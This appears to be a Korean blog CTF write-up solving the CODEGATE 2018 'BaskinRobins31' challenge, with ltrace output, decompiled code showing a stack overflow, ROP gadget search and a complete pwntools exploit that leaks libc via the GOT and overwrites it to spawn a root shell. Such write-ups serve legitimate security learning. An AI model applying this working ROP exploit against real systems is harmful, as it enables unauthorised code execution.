시작
안녕하세요!! :D
64 bit 에서의 ROP를 공부하던 중 코드게이트 문제가 있어서 바로 풀어봤습니다.
처음 포너블을 공부할 땐
내가 코드게이트나 데프콘에 출제된 문제들을 풀 수 있을까..란 생각 뿐이었는데
뭐라도 끄적거리고 있는 제 모습을 보니 삽질한 보람이 있구나!! 라고 느낀 이번 주말이었습니다.
바로 시작해봐요 ㅎㅎ
Write UP
root@goorm:/tmp/CODEGATE_2018# ./BaskinRobins31
### This game is similar to the BaskinRobins31 game. ###
### The one that take the last match win ###
There are 31 number(s)
How many numbers do you want to take ? (1-3)
1
1
remaining number(s) : 30
I've taken 2 number(s)
remaining number(s) : 28
How many numbers do you want to take ? (1-3)
2
2
remaining number(s) : 26
I've taken 2 number(s)
remaining number(s) : 24
How many numbers do you want to take ? (1-3)
3
3
remaining number(s) : 21
I've taken 1 number(s)
remaining number(s) : 20
How many numbers do you want to take ? (1-3)
4
4
Don't break the rules...:(
remaining number(s) : 20
How many numbers do you want to take ? (1-3)
베스킨~ 라빈스~ 써리~~ 원~~ 귀엽고~ 깜찍하게~~ 써리~~ 원~
그거에요 그거
root@goorm:/tmp/CODEGATE_2018# ltrace ./BaskinRobins31
__libc_start_main(0x400a4b, 1, 0x7fff04d59578, 0x400b60
setvbuf(0x7f42c00d8400, 0, 2, 0) = 0
setvbuf(0x7f42c00d8640, 0, 2, 0) = 0
time(0) = 1558882429
srand(0x5ceaa87d, 0x7f42c00d99f0, 0, 0) = 0
puts("### This game is similar to the "...### This game is similar to the BaskinRobins31 game. ###
) = 57
puts("### The one that take the last m"...### The one that take the last match win ###
) = 45
printf("There are %u number(s)\n", 31There are 31 number(s)
) = 23
memset(0x7fff04d593c0, '\0', 150) = 0x7fff04d593c0
puts("How many numbers do you want to "...How many numbers do you want to take ? (1-3)
) = 45
read(01
, "1\n", 400) = 2
write(1, "1\n", 21
) = 2
putchar(10, 0x7fff04d593c0, 2, 0x7f42bfe043c0
) = 10
strtoul(0x7fff04d593c0, 0, 10, 0x7f42bfe043c0) = 1
printf("remaining number(s) : %i \n", 30remaining number(s) : 30
) = 26
printf("I've taken %i number(s)\n", 2I've taken 2 number(s)
) = 23
printf("remaining number(s) : %i \n", 28remaining number(s) : 28
) = 26
memset(0x7fff04d593c0, '\0', 150) = 0x7fff04d593c0
puts("How many numbers do you want to "...How many numbers do you want to take ? (1-3)
)
ltrace
로 확인해본 결과 위와 같은 함수들이 반복되고 있네요.
IDA..는 없으니깐 가져왔습니다!
signed __int64 __fastcall your_turn(_DWORD *remain_val)
{
signed __int64 result; // rax@2
char s; // [sp+10h] [bp-B0h]@1
size_t n; // [sp+B0h] [bp-10h]@1
int input_val; // [sp+BCh] [bp-4h]@1
input_val = 0;
memset(&s, 0, 150uLL);
puts("How many numbers do you want to take ? (1 - 3)");
n = read(0, &s, 400uLL);
write(1, &s, n);
.
.
.
}
필요한 부분만 뜯어오고 나머진 생략했습니다.
s[]
는 150 bytes만큼 할당되어 있는데 read()
에서 400 bytes를 받네요. BOF가 일어납니다.
s[]
는 rbp-0xb0
, 즉 RET과 176 bytes만큼 떨어져 있다는 정보도 확인할 수 있었습니다.
이런 유형의 문제를 많이 봐서 그런지 Exploit 방법을 공식처럼 외워버렸습니다 ㅋㅋㅋㅋㅋ
read()
로 /bin/sh
를 넣어주고, write()
로 got를 leak, system의 주소를 구한 후 got overwrite → 호출이겠네요.
32bit와 64bit는 ROP Chain을 만드는 방식이 약간 다릅니다.
32bit에선 RET에 불러올 함수의 plt를 넣고, 그 함수가 끝난 후 가리키는 eip에 가젯을 넣어서 체인을 이어나가는 방식이었지만
64bit에선 레지스터로 인자 전달을 하기 때문에 RET에 가젯을 먼저 넣어주어야 합니다.
32bit :
RET(func1@plt) | gadget | argv1 | argv2 … | func2.plt | gadget | argv1 …
64bit :
RET(gadget) | argv1 | argv2 | … | func@plt | gadget | argv1 …
위와 같이 말이죠.
Exploit 시나리오는 다음과 같습니다.
1. read()로 .bss 영역에 “/bin/sh” 삽입
2. write()로 write@got 주소 leak
3. read()로 write@got를 system 주소로 overwrite
4. write() 호출, 쉘 획득
가젯을 구해볼까요?
read()
와 write()
에 필요한 pop rdi; pop rsi; pop rdx; ret
와
system()
에 필요한 pop rdi; ret
, 두 개면 되겠네요.
root@goorm:/tmp/CODEGATE_2018# rp-lin-x64 -f ./BaskinRobins31 -r 4 | grep "pop rdi"
0x00400878: mov ebp, esp ; pop rdi ; pop rsi ; pop rdx ; ret ; (1 found)
0x00400877: mov rbp, rsp ; pop rdi ; pop rsi ; pop rdx ; ret ; (1 found)
0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret ; (1 found)
0x00400bc3: pop rdi ; ret ; (1 found)
딱 하나씩 있네요!! 행-복
1. pop rdi; pop rsi; pop rdx; ret : 0x40087a
2. pop rdi; ret : 0x400bc3
pwntools를 이용해 exploit.py
를 짜봤습니다.
#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
#context.log_level = "debug"
e = ELF("./BaskinRobins31")
l = e.libc
p = process(e.path)
pppr = 0x40087a
pr = 0x400bc3
payload = ""
#BUF + SFP
payload += "A" * 184
#read(0, .bss, len("/bin/sh"))
payload += p64(pppr)
payload += p64(0)
payload += p64(e.bss())
payload += p64(len("/bin/sh\x00"))
payload += p64(e.plt["read"])
#write(1, write@got, 8) //write leak
payload += p64(pppr)
payload += p64(1)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(e.plt["write"])
#read(0, write@got, 8) //got overwrite
payload += p64(pppr)
payload += p64(0)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(e.plt["read"])
#write -> system("/bin/sh")
payload += p64(pr)
payload += p64(e.bss())
payload += p64(e.plt["write"])
p.recvuntil(")")
p.send(payload)
p.send("/bin/sh\x00")
p.recvuntil("rules...:( \n")
libc_write = u64(p.recv(8))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]
print "libc_write : " + hex(libc_write)
print "libc_system : " + hex(libc_system)
p.send(p64(libc_system))
p.interactive()
plt, got, offset을 알아서 구해주는 pwntools 당신은 도대체.. 만드신 분 존경합니다ㅠㅠㅠ
root@goorm:/tmp/CODEGATE_2018# ./exploit.py
[*] '/tmp/CODEGATE_2018/BaskinRobins31'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/tmp/CODEGATE_2018/BaskinRobins31': pid 1586
libc_write : 0x7f4cc7c1b3b0
libc_system : 0x7f4cc7b72590
[*] Switching to interactive mode
$ whoami
root
Exploit!!
recv()
구문의 위치를 잘못 써서 1시간정도 삽질한 것 빼곤!! 깔끔하게 풀렸습니다
마무리
어느 정도 pwntools이 손에 익었습니다 ㅎㅎ.. 이 편한 것을 놔두고 pwnable.kr 풀 때 하나하나 쳤다니..
꿈에 그리던 코드게이트 문제도 하나 해결했네요. 역시 포너블은 삽질이 답입니다 :D
감사합니다!!
'CTF_Write_UP' 카테고리의 다른 글
[HSCTF 2019] Write up (0) | 2019.06.08 |
---|---|
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
[2019 DefCon Quals] speedrun-002 (0) | 2019.05.25 |
[2019 DefCon Quals] speedrun-001 (0) | 2019.05.23 |
[Plaid CTF 2013 - ropasaurusrex] rop 공룡 (0) | 2019.05.15 |